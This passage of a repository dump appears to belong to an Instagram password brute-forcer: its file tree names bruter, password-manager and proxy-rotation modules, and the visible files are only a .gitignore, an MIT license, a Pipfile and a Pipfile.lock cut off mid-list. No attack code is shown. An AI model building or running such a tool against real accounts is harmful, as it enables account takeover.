├── .gitignore ├── LICENSE ├── Pipfile ├── Pipfile.lock ├── README.md ├── instagram.py └── lib ├── __init__.py ├── browser.py ├── bruter.py ├── const.py ├── database.py ├── display.py ├── password_manager.py ├── proxy.py └── proxy_manager.py /.gitignore: -------------------------------------------------------------------------------- 1 | database 2 | __pycache__ 3 | .vscode -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Mohamed 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | url = "https://pypi.org/simple" 3 | verify_ssl = true 4 | name = "pypi" 5 | 6 | [packages] 7 | bs4 = "*" 8 | requests = {extras = ["socks"], version = "*"} 9 | colorama = "*" 10 | pysocks = "*" 11 | requests-html = "*" 12 | 13 | [dev-packages] 14 | black = "*" 15 | 16 | [requires] 17 | python_version = "3.9" 18 | 19 | [pipenv] 20 | allow_prereleases = true 21 | -------------------------------------------------------------------------------- /Pipfile.lock: -------------------------------------------------------------------------------- 1 | { 2 | "_meta": { 3 | "hash": { 4 | "sha256": "8fb49e2cd154fec06d3e7c0d846414e49357ef265766b882fb148ad342c998d1" 5 | }, 6 | "pipfile-spec": 6, 7 | "requires": { 8 | "python_version": "3.9" 9 | }, 10 | "sources": [ 11 | { 12 | "name": "pypi", 13 | "url": "https://pypi.org/simple", 14 | "verify_ssl": true 15 | } 16 | ] 17 | }, 18 | "default": { 19 | "appdirs": { 20 | "hashes": [ 21 | "sha256:7d5d0167b2b1ba821647616af46a749d1c653740dd0d2415100fe26e27afdf41", 22 | "sha256:a841dacd6b99318a741b166adb07e19ee71a274450e68237b4650ca1055ab128" 23 | ], 24 | "version": "==1.4.4" 25 | }, 26 | "beautifulsoup4": { 27 | "hashes": [ 28 | "sha256:58d5c3d29f5a36ffeb94f02f0d786cd53014cf9b3b3951d42e0080d8a9498d30", 29 | "sha256:ad9aa55b65ef2808eb405f46cf74df7fcb7044d5cbc26487f96eb2ef2e436693" 30 | ], 31 | "markers": "python_version >= '3.6'", 32 | "version": "==4.11.1" 33 | }, 34 | "bs4": { 35 | "hashes": [ 36 | "sha256:36ecea1fd7cc5c0c6e4a1ff075df26d50da647b75376626cc186e2212886dd3a" 37 | ], 38 | "index": "pypi", 39 | "version": "==0.0.1" 40 | }, 41 | "certifi": { 42 | "hashes": [ 43 | "sha256:84c85a9078b11105f04f3036a9482ae10e4621616db313fe045dd24743a0820d", 44 | "sha256:fe86415d55e84719d75f8b69414f6438ac3547d2078ab91b67e779ef69378412" 45 | ], 46 | "markers": "python_version >= '3.6'", 47 | "version": "==2022.6.15" 48 | }, 49 | "charset-normalizer": { 50 | "hashes": [ 51 | "sha256:2857e29ff0d34db842cd7ca3230549d1a697f96ee6d3fb071cfa6c7393832597", 52 | "sha256:6881edbebdb17b39b4eaaa821b438bf6eddffb4468cf344f09f89def34a8b1df" 53 | ], 54 | "markers": "python_version >= '3'", 55 | "version": "==2.0.12" 56 | }, 57 | "colorama": { 58 | "hashes": [ 59 | "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", 60 | "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" 61 | ], 62 | "index": "pypi", 63 | "version": "==0.4.4" 64 | }, 65 | "cssselect": { 66 | "hashes": [ 67 | "sha256:f612ee47b749c877ebae5bb77035d8f4202c6ad0f0fc1271b3c18ad6c4468ecf", 68 | "sha256:f95f8dedd925fd8f54edb3d2dfb44c190d9d18512377d3c1e2388d16126879bc" 69 | ], 70 | "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", 71 | "version": "==1.1.0" 72 | }, 73 | "fake-useragent": { 74 | "hashes": [ 75 | "sha256:c104998b750eb097eefc28ae28e92d66397598d2cf41a31aa45d5559ef1adf35" 76 | ], 77 | "version": "==0.1.11" 78 | }, 79 | "idna": { 80 | "hashes": [ 81 | "sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff", 82 | "sha256:9d643ff0a55b762d5cdb124b8eaa99c66322e2157b69160bc32796e824360e6d" 83 | ], 84 | "markers": "python_version >= '3'", 85 | "version": "==3.3" 86 | }, 87 | "importlib-metadata": { 88 | "hashes": [ 89 | "sha256:637245b8bab2b6502fcbc752cc4b7a6f6243bb02b31c5c26156ad103d3d45670", 90 | "sha256:7401a975809ea1fdc658c3aa4f78cc2195a0e019c5cbc4c06122884e9ae80c23" 91 | ], 92 | "markers": "python_version >= '3.7'", 93 | "version": "==4.12.0" 94 | }, 95 | "lxml": { 96 | "hashes": [ 97 | "sha256:04da965dfebb5dac2619cb90fcf93efdb35b3c6994fea58a157a834f2f94b318", 98 | "sha256:0538747a9d7827ce3e16a8fdd201a99e661c7dee3c96c885d8ecba3c35d1032c", 99 | "sha256:0645e934e940107e2fdbe7c5b6fb8ec6232444260752598bc4d09511bd056c0b", 100 | "sha256:079b68f197c796e42aa80b1f739f058dcee796dc725cc9a1be0cdb08fc45b000", 101 | "sha256:0f3f0059891d3254c7b5fb935330d6db38d6519ecd238ca4fce93c234b4a0f73", 102 | "sha256:10d2017f9150248563bb579cd0d07c61c58da85c922b780060dcc9a3aa9f432d", 103 | "sha256:1355755b62c28950f9ce123c7a41460ed9743c699905cbe664a5bcc5c9c7c7fb", 104 | "sha256:13c90064b224e10c14dcdf8086688d3f0e612db53766e7478d7754703295c7c8", 105 | "sha256:1423631e3d51008871299525b541413c9b6c6423593e89f9c4cfbe8460afc0a2", 106 | "sha256:1436cf0063bba7888e43f1ba8d58824f085410ea2025befe81150aceb123e345", 107 | "sha256:1a7c59c6ffd6ef5db362b798f350e24ab2cfa5700d53ac6681918f314a4d3b94", 108 | "sha256:1e1cf47774373777936c5aabad489fef7b1c087dcd1f426b621fda9dcc12994e", 109 | "sha256:206a51077773c6c5d2ce1991327cda719063a47adc02bd703c56a662cdb6c58b", 110 | "sha256:21fb3d24ab430fc538a96e9fbb9b150029914805d551deeac7d7822f64631dfc", 111 | "sha256:27e590352c76156f50f538dbcebd1925317a0f70540f7dc8c97d2931c595783a", 112 | "sha256:287605bede6bd36e930577c5925fcea17cb30453d96a7b4c63c14a257118dbb9", 113 | "sha256:2aaf6a0a6465d39b5ca69688fce82d20088c1838534982996ec46633dc7ad6cc", 114 | "sha256:32a73c53783becdb7eaf75a2a1525ea8e49379fb7248c3eeefb9412123536387", 115 | "sha256:41fb58868b816c202e8881fd0f179a4644ce6e7cbbb248ef0283a34b73ec73bb", 116 | "sha256:4780677767dd52b99f0af1f123bc2c22873d30b474aa0e2fc3fe5e02217687c7", 117 | "sha256:4878e667ebabe9b65e785ac8da4d48886fe81193a84bbe49f12acff8f7a383a4", 118 | "sha256:487c8e61d7acc50b8be82bda8c8d21d20e133c3cbf41bd8ad7eb1aaeb3f07c97", 119 | "sha256:4beea0f31491bc086991b97517b9683e5cfb369205dac0148ef685ac12a20a67", 120 | "sha256:4cfbe42c686f33944e12f45a27d25a492cc0e43e1dc1da5d6a87cbcaf2e95627", 121 | "sha256:4d5bae0a37af799207140652a700f21a85946f107a199bcb06720b13a4f1f0b7", 122 | "sha256:4e285b5f2bf321fc0857b491b5028c5f276ec0c873b985d58d7748ece1d770dd", 123 | "sha256:57e4d637258703d14171b54203fd6822fda218c6c2658a7d30816b10995f29f3", 124 | "sha256:5974895115737a74a00b321e339b9c3f45c20275d226398ae79ac008d908bff7", 125 | "sha256:5ef87fca280fb15342726bd5f980f6faf8b84a5287fcc2d4962ea8af88b35130", 126 | "sha256:603a464c2e67d8a546ddaa206d98e3246e5db05594b97db844c2f0a1af37cf5b", 127 | "sha256:6653071f4f9bac46fbc30f3c7838b0e9063ee335908c5d61fb7a4a86c8fd2036", 128 | "sha256:6ca2264f341dd81e41f3fffecec6e446aa2121e0b8d026fb5130e02de1402785", 129 | "sha256:6d279033bf614953c3fc4a0aa9ac33a21e8044ca72d4fa8b9273fe75359d5cca", 130 | "sha256:6d949f53ad4fc7cf02c44d6678e7ff05ec5f5552b235b9e136bd52e9bf730b91", 131 | "sha256:6daa662aba22ef3258934105be2dd9afa5bb45748f4f702a3b39a5bf53a1f4dc", 132 | "sha256:6eafc048ea3f1b3c136c71a86db393be36b5b3d9c87b1c25204e7d397cee9536", 133 | "sha256:830c88747dce8a3e7525defa68afd742b4580df6aa2fdd6f0855481e3994d391", 134 | "sha256:86e92728ef3fc842c50a5cb1d5ba2bc66db7da08a7af53fb3da79e202d1b2cd3", 135 | "sha256:8caf4d16b31961e964c62194ea3e26a0e9561cdf72eecb1781458b67ec83423d", 136 | "sha256:8d1a92d8e90b286d491e5626af53afef2ba04da33e82e30744795c71880eaa21", 137 | "sha256:8f0a4d179c9a941eb80c3a63cdb495e539e064f8054230844dcf2fcb812b71d3", 138 | "sha256:9232b09f5efee6a495a99ae6824881940d6447debe272ea400c02e3b68aad85d", 139 | "sha256:927a9dd016d6033bc12e0bf5dee1dde140235fc8d0d51099353c76081c03dc29", 140 | "sha256:93e414e3206779ef41e5ff2448067213febf260ba747fc65389a3ddaa3fb8715", 141 | "sha256:98cafc618614d72b02185ac583c6f7796202062c41d2eeecdf07820bad3295ed", 142 | "sha256:9c3a88d20e4fe4a2a4a84bf439a5ac9c9aba400b85244c63a1ab7088f85d9d25", 143 | "sha256:9f36de4cd0c262dd9927886cc2305aa3f2210db437aa4fed3fb4940b8bf4592c", 144 | "sha256:a60f90bba4c37962cbf210f0188ecca87daafdf60271f4c6948606e4dabf8785", 145 | "sha256:a614e4afed58c14254e67862456d212c4dcceebab2eaa44d627c2ca04bf86837", 146 | "sha256:ae06c1e4bc60ee076292e582a7512f304abdf6c70db59b56745cca1684f875a4", 147 | "sha256:b122a188cd292c4d2fcd78d04f863b789ef43aa129b233d7c9004de08693728b", 148 | "sha256:b570da8cd0012f4af9fa76a5635cd31f707473e65a5a335b186069d5c7121ff2", 149 | "sha256:bcaa1c495ce623966d9fc8a187da80082334236a2a1c7e141763ffaf7a405067", 150 | "sha256:bd34f6d1810d9354dc7e35158aa6cc33456be7706df4420819af6ed966e85448", 151 | "sha256:be9eb06489bc975c38706902cbc6888f39e946b81383abc2838d186f0e8b6a9d", 152 | "sha256:c4b2e0559b68455c085fb0f6178e9752c4be3bba104d6e881eb5573b399d1eb2", 153 | "sha256:c62e8dd9754b7debda0c5ba59d34509c4688f853588d75b53c3791983faa96fc", 154 | "sha256:c852b1530083a620cb0de5f3cd6826f19862bafeaf77586f1aef326e49d95f0c", 155 | "sha256:d9fc0bf3ff86c17348dfc5d322f627d78273eba545db865c3cd14b3f19e57fa5", 156 | "sha256:dad7b164905d3e534883281c050180afcf1e230c3d4a54e8038aa5cfcf312b84", 157 | "sha256:e5f66bdf0976ec667fc4594d2812a00b07ed14d1b44259d19a41ae3fff99f2b8", 158 | "sha256:e8f0c9d65da595cfe91713bc1222af9ecabd37971762cb830dea2fc3b3bb2acf", 159 | "sha256:edffbe3c510d8f4bf8640e02ca019e48a9b72357318383ca60e3330c23aaffc7", 160 | "sha256:eea5d6443b093e1545ad0210e6cf27f920482bfcf5c77cdc8596aec73523bb7e", 161 | "sha256:ef72013e20dd5ba86a8ae1aed7f56f31d3374189aa8b433e7b12ad182c0d2dfb", 162 | "sha256:f05251bbc2145349b8d0b77c0d4e5f3b228418807b1ee27cefb11f69ed3d233b", 163 | "sha256:f1be258c4d3dc609e654a1dc59d37b17d7fef05df912c01fc2e15eb43a9735f3", 164 | "sha256:f9ced82717c7ec65a67667bb05865ffe38af0e835cdd78728f1209c8fffe0cad", 165 | "sha256:fe17d10b97fdf58155f858606bddb4e037b805a60ae023c009f760d8361a4eb8", 166 | "sha256:fe749b052bb7233fe5d072fcb549221a8cb1a16725c47c37e42b0b9cb3ff2c3f" 167 | ], 168 | "index": "pypi", 169 | "version": "==4.9.1" 170 | }, 171 | "parse": { 172 | "hashes": [ 173 | "sha256:9ff82852bcb65d139813e2a5197627a94966245c897796760a3a2a8eb66f020b" 174 | ], 175 | "version": "==1.19.0" 176 | }, 177 | "pyee": { 178 | "hashes": [ 179 | "sha256:5c7e60f8df95710dbe17550e16ce0153f83990c00ef744841b43f371ed53ebea", 180 | "sha256:c09f56e36eb10bf23aa2aacf145f690ded75b990a3d9523fd478b005940303d2" 181 | ], 182 | "version": "==8.2.2" 183 | }, 184 | "pyppeteer": { 185 | "hashes": [ 186 | "sha256:11a734d8f02c6b128035aba8faf32748f2016310a6a1cbc6aa5b1e2580742e8f", 187 | "sha256:ddb0d15cb644720160d49abb1ad0d97e87a55581febf1b7531be9e983aad7742" 188 | ], 189 | "markers": "python_version >= '3.7' and python_version < '4'", 190 | "version": "==1.0.2" 191 | }, 192 | "pyquery": { 193 | "hashes": [ 194 | "sha256:1fc33b7699455ed25c75282bc8f80ace1ac078b0dda5a933dacbd8b1c1f83963", 195 | "sha256:a388eefb6bc4a55350de0316fbd97cda999ae669b6743ae5b99102ba54f5aa72" 196 | ], 197 | "version": "==1.4.3" 198 | }, 199 | "pysocks": { 200 | "hashes": [ 201 | "sha256:08e69f092cc6dbe92a0fdd16eeb9b9ffbc13cadfe5ca4c7bd92ffb078b293299", 202 | "sha256:2725bd0a9925919b9b51739eea5f9e2bae91e83288108a9ad338b2e3a4435ee5", 203 | "sha256:3f8804571ebe159c380ac6de37643bb4685970655d3bba243530d6558b799aa0" 204 | ], 205 | "index": "pypi", 206 | "version": "==1.7.1" 207 | }, 208 | "requests": { 209 | "extras": [ 210 | "socks" 211 | ], 212 | "hashes": [ 213 | "sha256:6c1246513ecd5ecd4528a0906f910e8f0f9c6b8ec72030dc9fd154dc1a6efd24", 214 | "sha256:b8aa58f8cf793ffd8782d3d8cb19e66ef36f7aba4353eec859e74678b01b07a7" 215 | ], 216 | "index": "pypi", 217 | "version": "==2.26.0" 218 | }, 219 | "requests-html": { 220 | "hashes": [ 221 | "sha256:7e929ecfed95fb1d0994bb368295d6d7c4d06b03fcb900c33d7d0b17e6003947", 222 | "sha256:cb8a78cf829c4eca9d6233f28524f65dd2bfaafb4bdbbc407f0a0b8f487df6e2" 223 | ], 224 | "index": "pypi", 225 | "version": "==0.10.0" 226 | }, 227 | "six": { 228 | "hashes": [ 229 | "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", 230 | "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254" 231 | ], 232 | "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", 233 | "version": "==1.16.0" 234 | }, 235 | "soupsieve": { 236 | "hashes": [ 237 | "sha256:3b2503d3c7084a42b1ebd08116e5f81aadfaea95863628c80a3b774a11b7c759", 238 | "sha256:fc53893b3da2c33de295667a0e19f078c14bf86544af307354de5fcf12a3f30d" 239 | ], 240 | "markers": "python_version >= '3.6'", 241 | "version": "==2.3.2.post1" 242 | }, 243 | "tqdm": { 244 | "hashes": [ 245 | "sha256:40be55d30e200777a307a7585aee69e4eabb46b4ec6a4b4a5f2d9f11e7d5408d", 246 | "sha256:74a2cdefe14d11442cedf3ba4e21a3b84ff9a2dbdc6cfae2c34addb2a14a5ea6" 247 | ], 248 | "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", 249 | "version": "==4.64.0" 250 | }, 251 | "urllib3": { 252 | "hashes": [ 253 | "sha256:44ece4d53fb1706f667c9bd1c648f5469a2ec925fcf3a776667042d645472c14", 254 | "sha256:aabaf16477806a5e1dd19aa41f8c2b7950dd3c746362d7e3223dbe6de6ac448e" 255 | ], 256 | "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' and python_version < '4'", 257 | "version": "==1.26.9" 258 | }, 259 | "w3lib": { 260 | "hashes": [ 261 | "sha256:0161d55537063e00d95a241663ede3395c4c6d7b777972ba2fd58bbab2001e53", 262 | "sha256:0ad6d0203157d61149fd45aaed2e24f53902989c32fc1dccc2e2bfba371560df" 263 | ], 264 | "version": "==1.22.0" 265 | }, 266 | "websockets": { 267 | "hashes": [ 268 | "sha256:07cdc0a5b2549bcfbadb585ad8471ebdc7bdf91e32e34ae3889001c1c106a6af", 269 | "sha256:210aad7fdd381c52e58777560860c7e6110b6174488ef1d4b681c08b68bf7f8c", 270 | "sha256:28dd20b938a57c3124028680dc1600c197294da5db4292c76a0b48efb3ed7f76", 271 | "sha256:2f94fa3ae454a63ea3a19f73b95deeebc9f02ba2d5617ca16f0bbdae375cda47", 272 | "sha256:31564a67c3e4005f27815634343df688b25705cccb22bc1db621c781ddc64c69", 273 | "sha256:347974105bbd4ea068106ec65e8e8ebd86f28c19e529d115d89bd8cc5cda3079", 274 | "sha256:379e03422178436af4f3abe0aa8f401aa77ae2487843738542a75faf44a31f0c", 275 | "sha256:3eda1cb7e9da1b22588cefff09f0951771d6ee9fa8dbe66f5ae04cc5f26b2b55", 276 | "sha256:51695d3b199cd03098ae5b42833006a0f43dc5418d3102972addc593a783bc02", 277 | "sha256:54c000abeaff6d8771a4e2cef40900919908ea7b6b6a30eae72752607c6db559", 278 | "sha256:5b936bf552e4f6357f5727579072ff1e1324717902127ffe60c92d29b67b7be3", 279 | "sha256:6075fd24df23133c1b078e08a9b04a3bc40b31a8def4ee0b9f2c8865acce913e", 280 | "sha256:661f641b44ed315556a2fa630239adfd77bd1b11cb0b9d96ed8ad90b0b1e4978", 281 | "sha256:6ea6b300a6bdd782e49922d690e11c3669828fe36fc2471408c58b93b5535a98", 282 | "sha256:6ed1d6f791eabfd9808afea1e068f5e59418e55721db8b7f3bfc39dc831c42ae", 283 | "sha256:7934e055fd5cd9dee60f11d16c8d79c4567315824bacb1246d0208a47eca9755", 284 | "sha256:7ab36e17af592eec5747c68ef2722a74c1a4a70f3772bc661079baf4ae30e40d", 285 | "sha256:7f6d96fdb0975044fdd7953b35d003b03f9e2bcf85f2d2cf86285ece53e9f991", 286 | "sha256:83e5ca0d5b743cde3d29fda74ccab37bdd0911f25bd4cdf09ff8b51b7b4f2fa1", 287 | "sha256:85506b3328a9e083cc0a0fb3ba27e33c8db78341b3eb12eb72e8afd166c36680", 288 | "sha256:8af75085b4bc0b5c40c4a3c0e113fa95e84c60f4ed6786cbb675aeb1ee128247", 289 | "sha256:8b1359aba0ff810d5830d5ab8e2c4a02bebf98a60aa0124fb29aa78cfdb8031f", 290 | "sha256:8fbd7d77f8aba46d43245e86dd91a8970eac4fb74c473f8e30e9c07581f852b2", 291 | "sha256:907e8247480f287aa9bbc9391bd6de23c906d48af54c8c421df84655eef66af7", 292 | "sha256:93d5ea0b5da8d66d868b32c614d2b52d14304444e39e13a59566d4acb8d6e2e4", 293 | "sha256:97bc9d41e69a7521a358f9b8e44871f6cdeb42af31815c17aed36372d4eec667", 294 | "sha256:994cdb1942a7a4c2e10098d9162948c9e7b235df755de91ca33f6e0481366fdb", 295 | "sha256:a141de3d5a92188234afa61653ed0bbd2dde46ad47b15c3042ffb89548e77094", 296 | "sha256:a1e15b230c3613e8ea82c9fc6941b2093e8eb939dd794c02754d33980ba81e36", 297 | "sha256:aad5e300ab32036eb3fdc350ad30877210e2f51bceaca83fb7fef4d2b6c72b79", 298 | "sha256:b529fdfa881b69fe563dbd98acce84f3e5a67df13de415e143ef053ff006d500", 299 | "sha256:b9c77f0d1436ea4b4dc089ed8335fa141e6a251a92f75f675056dac4ab47a71e", 300 | "sha256:bb621ec2dbbbe8df78a27dbd9dd7919f9b7d32a73fafcb4d9252fc4637343582", 301 | "sha256:c7250848ce69559756ad0086a37b82c986cd33c2d344ab87fea596c5ac6d9442", 302 | "sha256:c8d1d14aa0f600b5be363077b621b1b4d1eb3fbf90af83f9281cda668e6ff7fd", 303 | "sha256:d1655a6fc7aecd333b079d00fb3c8132d18988e47f19740c69303bf02e9883c6", 304 | "sha256:d6353ba89cfc657a3f5beabb3b69be226adbb5c6c7a66398e17809b0ce3c4731", 305 | "sha256:da4377904a3379f0c1b75a965fff23b28315bcd516d27f99a803720dfebd94d4", 306 | "sha256:e49ea4c1a9543d2bd8a747ff24411509c29e4bdcde05b5b0895e2120cb1a761d", 307 | "sha256:e4e08305bfd76ba8edab08dcc6496f40674f44eb9d5e23153efa0a35750337e8", 308 | "sha256:e6fa05a680e35d0fcc1470cb070b10e6fe247af54768f488ed93542e71339d6f", 309 | "sha256:e7e6f2d6fd48422071cc8a6f8542016f350b79cc782752de531577d35e9bd677", 310 | "sha256:e904c0381c014b914136c492c8fa711ca4cced4e9b3d110e5e7d436d0fc289e8", 311 | "sha256:ec2b0ab7edc8cd4b0eb428b38ed89079bdc20c6bdb5f889d353011038caac2f9", 312 | "sha256:ef5ce841e102278c1c2e98f043db99d6755b1c58bde475516aef3a008ed7f28e", 313 | "sha256:f351c7d7d92f67c0609329ab2735eee0426a03022771b00102816a72715bb00b", 314 | "sha256:fab7c640815812ed5f10fbee7abbf58788d602046b7bb3af9b1ac753a6d5e916", 315 | "sha256:fc06cc8073c8e87072138ba1e431300e2d408f054b27047d047b549455066ff4" 316 | ], 317 | "markers": "python_version >= '3.7'", 318 | "version": "==10.3" 319 | }, 320 | "zipp": { 321 | "hashes": [ 322 | "sha256:56bf8aadb83c24db6c4b577e13de374ccfb67da2078beba1d037c17980bf43ad", 323 | "sha256:c4f6e5bbf48e74f7a38e7cc5b0480ff42b0ae5178957d564d18932525d5cf099" 324 | ], 325 | "markers": "python_version >= '3.7'", 326 | "version": "==3.8.0" 327 | } 328 | }, 329 | "develop": { 330 | "black": { 331 | "hashes": [ 332 | "sha256:802c6c30b637b28645b7fde282ed2569c0cd777dbe493a41b6a03c1d903f99ac", 333 | "sha256:a042adbb18b3262faad5aff4e834ff186bb893f95ba3a8013f09de1e5569def2" 334 | ], 335 | "index": "pypi", 336 | "version": "==21.11b1" 337 | }, 338 | "click": { 339 | "hashes": [ 340 | "sha256:7682dc8afb30297001674575ea00d1814d808d6a36af415a82bd481d37ba7b8e", 341 | "sha256:bb4d8133cb15a609f44e8213d9b391b0809795062913b383c62be0ee95b1db48" 342 | ], 343 | "markers": "python_version >= '3.7'", 344 | "version": "==8.1.3" 345 | }, 346 | "mypy-extensions": { 347 | "hashes": [ 348 | "sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d", 349 | "sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8" 350 | ], 351 | "version": "==0.4.3" 352 | }, 353 | "pathspec": { 354 | "hashes": [ 355 | "sha256:7d15c4ddb0b5c802d161efc417ec1a2558ea2653c2e8ad9c19098201dc1c993a", 356 | "sha256:e564499435a2673d586f6b2130bb5b95f04a3ba06f81b8f895b651a3c76aabb1" 357 | ], 358 | "version": "==0.9.0" 359 | }, 360 | "platformdirs": { 361 | "hashes": [ 362 | "sha256:027d8e83a2d7de06bbac4e5ef7e023c02b863d7ea5d079477e722bb41ab25788", 363 | "sha256:58c8abb07dcb441e6ee4b11d8df0ac856038f944ab98b7be6b27b2a3c7feef19" 364 | ], 365 | "markers": "python_version >= '3.7'", 366 | "version": "==2.5.2" 367 | }, 368 | "regex": { 369 | "hashes": [ 370 | "sha256:042d122f9fee3ceb6d7e3067d56557df697d1aad4ff5f64ecce4dc13a90a7c01", 371 | "sha256:047b2d1323a51190c01b6604f49fe09682a5c85d3c1b2c8b67c1cd68419ce3c4", 372 | "sha256:0afa6a601acf3c0dc6de4e8d7d8bbce4e82f8542df746226cd35d4a6c15e9456", 373 | "sha256:166ae7674d0a0e0f8044e7335ba86d0716c9d49465cff1b153f908e0470b8300", 374 | "sha256:17443f99b8f255273731f915fdbfea4d78d809bb9c3aaf67b889039825d06515", 375 | "sha256:17764683ea01c2b8f103d99ae9de2473a74340df13ce306c49a721f0b1f0eb9e", 376 | "sha256:179410c79fa86ef318d58ace233f95b87b05a1db6dc493fa29404a43f4b215e2", 377 | "sha256:186c5a4a4c40621f64d771038ede20fca6c61a9faa8178f9e305aaa0c2442a97", 378 | "sha256:1a6f2698cfa8340dfe4c0597782776b393ba2274fe4c079900c7c74f68752705", 379 | "sha256:1ab5cf7d09515548044e69d3a0ec77c63d7b9dfff4afc19653f638b992573126", 380 | "sha256:1c1264eb40a71cf2bff43d6694ab7254438ca19ef330175060262b3c8dd3931a", 381 | "sha256:1fc26bb3415e7aa7495c000a2c13bf08ce037775db98c1a3fac9ff04478b6930", 382 | "sha256:24908aefed23dd065b4a668c0b4ca04d56b7f09d8c8e89636cf6c24e64e67a1e", 383 | "sha256:249437f7f5b233792234aeeecb14b0aab1566280de42dfc97c26e6f718297d68", 384 | "sha256:24963f0b13cc63db336d8da2a533986419890d128c551baacd934c249d51a779", 385 | "sha256:26dbe90b724efef7820c3cf4a0e5be7f130149f3d2762782e4e8ac2aea284a0b", 386 | "sha256:27624b490b5d8880f25dac67e1e2ea93dfef5300b98c6755f585799230d6c746", 387 | "sha256:2ac29b834100d2c171085ceba0d4a1e7046c434ddffc1434dbc7f9d59af1e945", 388 | "sha256:2f4c101746a8dac0401abefa716b357c546e61ea2e3d4a564a9db9eac57ccbce", 389 | "sha256:30637e7fa4acfed444525b1ab9683f714be617862820578c9fd4e944d4d9ad1f", 390 | "sha256:3adafe6f2c6d86dbf3313866b61180530ca4dcd0c264932dc8fa1ffb10871d58", 391 | "sha256:3b9b6289e03dbe6a6096880d8ac166cb23c38b4896ad235edee789d4e8697152", 392 | "sha256:3de1ecf26ce85521bf73897828b6d0687cc6cf271fb6ff32ac63d26b21f5e764", 393 | "sha256:48dddddce0ea7e7c3e92c1e0c5a28c13ca4dc9cf7e996c706d00479652bff76c", 394 | "sha256:495a4165172848503303ed05c9d0409428f789acc27050fe2cf0a4549188a7d5", 395 | "sha256:4a11cbe8eb5fb332ae474895b5ead99392a4ea568bd2a258ab8df883e9c2bf92", 396 | "sha256:4a5449adef907919d4ce7a1eab2e27d0211d1b255bf0b8f5dd330ad8707e0fc3", 397 | "sha256:4b8838f70be3ce9e706df9d72f88a0aa7d4c1fea61488e06fdf292ccb70ad2be", 398 | "sha256:4d206703a96a39763b5b45cf42645776f5553768ea7f3c2c1a39a4f59cafd4ba", 399 | "sha256:4d42e3b7b23473729adbf76103e7df75f9167a5a80b1257ca30688352b4bb2dc", 400 | "sha256:52684da32d9003367dc1a1c07e059b9bbaf135ad0764cd47d8ac3dba2df109bc", 401 | "sha256:53d69d77e9cfe468b000314dd656be85bb9e96de088a64f75fe128dfe1bf30dd", 402 | "sha256:555f7596fd1f123f8c3a67974c01d6ef80b9769e04d660d6c1a7cc3e6cff7069", 403 | "sha256:5aba3d13c77173e9bfed2c2cea7fc319f11c89a36fcec08755e8fb169cf3b0df", 404 | "sha256:5c8d61883a38b1289fba9944a19a361875b5c0170b83cdcc95ea180247c1b7d3", 405 | "sha256:5e201b1232d81ca1a7a22ab2f08e1eccad4e111579fd7f3bbf60b21ef4a16cea", 406 | "sha256:663dca677bd3d2e2b5b7d0329e9f24247e6f38f3b740dd9a778a8ef41a76af41", 407 | "sha256:67ae3601edf86e15ebe40885e5bfdd6002d34879070be15cf18fc0d80ea24fed", 408 | "sha256:68e5c641645351eb9eb12c465876e76b53717f99e9b92aea7a2dd645a87aa7aa", 409 | "sha256:71988a76fcb68cc091e901fddbcac0f9ad9a475da222c47d3cf8db0876cb5344", 410 | "sha256:775694cd0bb2c4accf2f1cdd007381b33ec8b59842736fe61bdbad45f2ac7427", 411 | "sha256:7f648037c503985aed39f85088acab6f1eb6a0482d7c6c665a5712c9ad9eaefc", 412 | "sha256:809bbbbbcf8258049b031d80932ba71627d2274029386f0452e9950bcfa2c6e8", 413 | "sha256:8fd5f8ae42f789538bb634bdfd69b9aa357e76fdfd7ad720f32f8994c0d84f1e", 414 | "sha256:933e72fbe1829cbd59da2bc51ccd73d73162f087f88521a87a8ec9cb0cf10fa8", 415 | "sha256:9c1f62ee2ba880e221bc950651a1a4b0176083d70a066c83a50ef0cb9b178e12", 416 | "sha256:9faa01818dad9111dbf2af26c6e3c45140ccbd1192c3a0981f196255bf7ec5e6", 417 | "sha256:a58d21dd1a2d6b50ed091554ff85e448fce3fe33a4db8b55d0eba2ca957ed626", 418 | "sha256:a8a08ace913c4101f0dc0be605c108a3761842efd5f41a3005565ee5d169fb2b", 419 | "sha256:b2932e728bee0a634fe55ee54d598054a5a9ffe4cd2be21ba2b4b8e5f8064c2c", 420 | "sha256:b5f759a1726b995dc896e86f17f9c0582b54eb4ead00ed5ef0b5b22260eaf2d0", 421 | "sha256:bc635ab319c9b515236bdf327530acda99be995f9d3b9f148ab1f60b2431e970", 422 | 